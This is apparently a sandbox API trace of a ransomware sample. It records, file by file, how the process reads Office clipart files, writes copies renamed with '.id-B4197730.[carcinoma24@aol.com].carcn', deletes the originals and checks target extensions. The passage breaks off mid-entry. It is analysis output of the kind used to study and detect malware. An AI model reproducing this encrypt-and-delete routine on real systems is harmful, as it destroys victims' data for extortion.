[0283.031] GetFileSizeEx (in: hFile=0x4a8, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=4984) returned 1 [0283.031] CloseHandle (hObject=0x4a8) returned 1 [0283.031] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01176_.wmf")) returned 0x220 [0283.032] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01176_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0283.032] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01176_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0283.033] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.033] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.033] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01176_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0283.034] GetLastError () returned 0x0 [0283.034] ReadFile (in: hFile=0x4a8, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x1378, lpOverlapped=0x0) returned 1 [0283.043] WriteFile (in: hFile=0x4ac, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0x1380, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0x1380, lpOverlapped=0x0) returned 1 [0283.044] ReadFile (in: hFile=0x4a8, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0283.044] WriteFile (in: hFile=0x4ac, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0283.044] SetEndOfFile (hFile=0x4ac) returned 1 [0283.044] CloseHandle (hObject=0x4ac) returned 1 [0283.045] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.045] SetEndOfFile (hFile=0x4a8) returned 1 [0283.047] CloseHandle (hObject=0x4a8) returned 1 [0283.047] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0283.048] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01176_.wmf")) returned 1 [0283.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68 [0283.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68 [0283.049] lstrlenW (lpString=".doc") returned 4 [0283.049] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0283.049] lstrlenW (lpString=".docx") returned 5 [0283.049] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0283.049] lstrlenW (lpString=".pdf") returned 4 [0283.049] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0283.049] lstrlenW (lpString=".xls") returned 4 [0283.049] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0283.049] lstrlenW (lpString=".xlsx") returned 5 [0283.049] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0283.049] lstrlenW (lpString=".ppt") returned 4 [0283.049] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0283.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68 [0283.049] lstrlenW (lpString=".zip") returned 4 [0283.049] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0283.049] lstrlenW (lpString=".rar") returned 4 [0283.049] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0283.049] lstrlenW (lpString=".bz2") returned 4 [0283.049] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0283.049] lstrlenW (lpString=".7z") returned 3 [0283.049] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0283.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68 [0283.049] lstrlenW (lpString=".dbf") returned 4 [0283.049] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0283.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68 [0283.050] lstrlenW (lpString=".1cd") returned 4 [0283.050] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0283.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68 [0283.050] lstrlenW (lpString=".jpg") returned 4 [0283.050] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0283.050] GetFileSizeEx (in: hFile=0x4a8, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=3964) returned 1 [0283.050] CloseHandle (hObject=0x4a8) returned 1 [0283.052] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01191_.wmf")) returned 0x220 [0283.053] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01191_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0283.053] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01191_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0283.053] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.053] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.053] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01191_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0283.054] GetLastError () returned 0x0 [0283.055] ReadFile (in: hFile=0x4a8, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0xf7c, lpOverlapped=0x0) returned 1 [0283.063] WriteFile (in: hFile=0x4ac, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xf80, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xf80, lpOverlapped=0x0) returned 1 [0283.064] ReadFile (in: hFile=0x4a8, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0283.064] WriteFile (in: hFile=0x4ac, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0283.064] SetEndOfFile (hFile=0x4ac) returned 1 [0283.064] CloseHandle (hObject=0x4ac) returned 1 [0283.064] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.064] SetEndOfFile (hFile=0x4a8) returned 1 [0283.075] CloseHandle (hObject=0x4a8) returned 1 [0283.075] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0283.412] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01191_.wmf")) returned 1 [0283.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68 [0283.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68 [0283.413] lstrlenW (lpString=".doc") returned 4 [0283.413] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0283.413] lstrlenW (lpString=".docx") returned 5 [0283.489] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0283.489] lstrlenW (lpString=".pdf") returned 4 [0283.489] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0283.489] lstrlenW (lpString=".xls") returned 4 [0283.489] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0283.489] lstrlenW (lpString=".xlsx") returned 5 [0283.489] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0283.490] lstrlenW (lpString=".ppt") returned 4 [0283.490] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0283.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68 [0283.490] lstrlenW (lpString=".zip") returned 4 [0283.490] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0283.490] lstrlenW (lpString=".rar") returned 4 [0283.490] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0283.490] lstrlenW (lpString=".bz2") returned 4 [0283.490] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0283.490] lstrlenW (lpString=".7z") returned 3 [0283.490] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0283.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68 [0283.490] lstrlenW (lpString=".dbf") returned 4 [0283.490] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0283.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68 [0283.490] lstrlenW (lpString=".1cd") returned 4 [0283.490] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0283.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68 [0283.490] lstrlenW (lpString=".jpg") returned 4 [0283.490] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0283.491] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=4660) returned 1 [0283.491] CloseHandle (hObject=0x550) returned 1 [0283.491] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02115_.wmf")) returned 0x220 [0283.491] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02115_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0283.492] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02115_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0283.492] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.493] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.493] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02115_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0283.493] GetLastError () returned 0x0 [0283.494] ReadFile (in: hFile=0x550, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x1234, lpOverlapped=0x0) returned 1 [0283.504] WriteFile (in: hFile=0x4a8, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0x1240, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0x1240, lpOverlapped=0x0) returned 1 [0283.505] ReadFile (in: hFile=0x550, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0283.505] WriteFile (in: hFile=0x4a8, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0283.505] SetEndOfFile (hFile=0x4a8) returned 1 [0283.505] CloseHandle (hObject=0x4a8) returned 1 [0283.505] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.506] SetEndOfFile (hFile=0x550) returned 1 [0283.509] CloseHandle (hObject=0x550) returned 1 [0283.509] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0283.509] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02115_.wmf")) returned 1 [0283.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68 [0283.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68 [0283.510] lstrlenW (lpString=".doc") returned 4 [0283.510] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0283.510] lstrlenW (lpString=".docx") returned 5 [0283.510] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0283.510] lstrlenW (lpString=".pdf") returned 4 [0283.510] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0283.510] lstrlenW (lpString=".xls") returned 4 [0283.511] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0283.511] lstrlenW (lpString=".xlsx") returned 5 [0283.511] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0283.511] lstrlenW (lpString=".ppt") returned 4 [0283.511] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0283.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68 [0283.511] lstrlenW (lpString=".zip") returned 4 [0283.511] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0283.511] lstrlenW (lpString=".rar") returned 4 [0283.511] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0283.511] lstrlenW (lpString=".bz2") returned 4 [0283.511] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0283.511] lstrlenW (lpString=".7z") returned 3 [0283.511] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0283.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68 [0283.511] lstrlenW (lpString=".dbf") returned 4 [0283.511] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0283.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68 [0283.511] lstrlenW (lpString=".1cd") returned 4 [0283.511] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0283.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68 [0283.511] lstrlenW (lpString=".jpg") returned 4 [0283.511] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0283.512] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=3988) returned 1 [0283.512] CloseHandle (hObject=0x550) returned 1 [0283.512] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02116_.wmf")) returned 0x220 [0283.512] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02116_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0283.513] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02116_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0283.513] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.513] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.513] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02116_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0283.514] GetLastError () returned 0x0 [0283.515] ReadFile (in: hFile=0x550, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0xf94, lpOverlapped=0x0) returned 1 [0283.529] WriteFile (in: hFile=0x4a8, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xfa0, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xfa0, lpOverlapped=0x0) returned 1 [0283.531] ReadFile (in: hFile=0x550, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0283.531] WriteFile (in: hFile=0x4a8, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0283.531] SetEndOfFile (hFile=0x4a8) returned 1 [0283.532] CloseHandle (hObject=0x4a8) returned 1 [0283.532] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.532] SetEndOfFile (hFile=0x550) returned 1 [0283.535] CloseHandle (hObject=0x550) returned 1 [0283.535] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0283.536] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02116_.wmf")) returned 1 [0283.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68 [0283.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68 [0283.537] lstrlenW (lpString=".doc") returned 4 [0283.537] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0283.537] lstrlenW (lpString=".docx") returned 5 [0283.537] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0283.537] lstrlenW (lpString=".pdf") returned 4 [0283.537] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0283.537] lstrlenW (lpString=".xls") returned 4 [0283.537] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0283.538] lstrlenW (lpString=".xlsx") returned 5 [0283.538] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0283.538] lstrlenW (lpString=".ppt") returned 4 [0283.538] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0283.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68 [0283.538] lstrlenW (lpString=".zip") returned 4 [0283.538] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0283.538] lstrlenW (lpString=".rar") returned 4 [0283.538] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0283.538] lstrlenW (lpString=".bz2") returned 4 [0283.538] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0283.538] lstrlenW (lpString=".7z") returned 3 [0283.538] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0283.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68 [0283.538] lstrlenW (lpString=".dbf") returned 4 [0283.538] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0283.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68 [0283.538] lstrlenW (lpString=".1cd") returned 4 [0283.538] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0283.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 68 [0283.538] lstrlenW (lpString=".jpg") returned 4 [0283.538] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0283.539] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=5392) returned 1 [0283.539] CloseHandle (hObject=0x550) returned 1 [0283.539] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02153_.wmf")) returned 0x220 [0283.540] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02153_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0283.540] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02153_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0283.821] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.821] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.821] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02153_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0284.535] GetLastError () returned 0x0 [0284.535] ReadFile (in: hFile=0x550, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x1510, lpOverlapped=0x0) returned 1 [0284.547] WriteFile (in: hFile=0x538, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0x1520, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0x1520, lpOverlapped=0x0) returned 1 [0284.548] ReadFile (in: hFile=0x550, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: 